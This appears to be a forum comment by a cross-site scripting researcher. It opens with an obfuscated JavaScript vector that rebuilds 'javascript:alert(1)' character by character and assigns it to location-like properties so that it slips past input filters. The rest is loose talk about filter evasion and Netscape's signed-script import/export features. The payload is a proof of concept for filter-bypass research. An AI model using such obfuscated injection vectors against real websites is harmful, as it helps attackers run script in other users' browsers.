s=function test2() {return ‘hrefjavascriptalert(1)a’;1,1}();
void(a = {} );
void(c = URL );
a.c=function xyz() {return c[4] }();
a.h1=function xyz() {return s[0] }();
a.h2=function xyz() {return s[1] }();
a.h3=function xyz() {return s[2] }();
a.h4=function xyz() {return s[3] }();
a.u1=function xyz() {return s[4] }();
a.u2=function xyz() {return s[5] }();
a.u3=function xyz() {return s[6] }();
a.u4=function xyz() {return s[7] }();
a.u5=function xyz() {return s[8] }();
a.u6=function xyz() {return s[9] }();
a.u7=function xyz() {return s[10] }();
a.u8=function xyz() {return s[11] }();
a.u9=function xyz() {return s[12] }();
a.u10=function xyz() {return s[13] }();
a.u11=function xyz() {return s[14] }();
a.u12=function xyz() {return s[15] }();
a.u13=function xyz() {return s[16] }();
a.u14=function xyz() {return s[17] }();
a.u15=function xyz() {return s[18] }();
a.u16=function xyz() {return s[19] }();
a.u17=function xyz() {return s[20] }();
a.u18=function xyz() {return s[21] }();
$_=function xyz() {return a.u1 + a.u2 + a.u3 + a.u4 + a.u5 + a.u6 + a.u7 + a.u8 + a.u9 + a.u10 + a.c + a.u11 + a.u12 + a.u13 + a.u14 + a.u15 + a.u16 + a.u17 + a.u18 }();
for(i in x=this) x[a.h1+a.h2+a.h3+a.h4]=$_;

http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/guide/sec.html

Be amazed what the ‘ol netscape can learn us, it’s almost forbidden knowledge. I read the whole book over the weekend, learned tons of new and old stuff.

import function() or var

export function() or var

Like:

function a() {

//foo

}

export a;

misleading stuff I know

Still I’m impressed with their filters it isn’t that easy to come up with new vectors and I’ve done loads of complicated ones which don’t get through.

btw do you know the Javascript functions:

import() and export() ? It’s pretty cool cause you can export singed script data if import is called inside a signed script. I didn’t know this, there is a lot more to be learned in Javascript.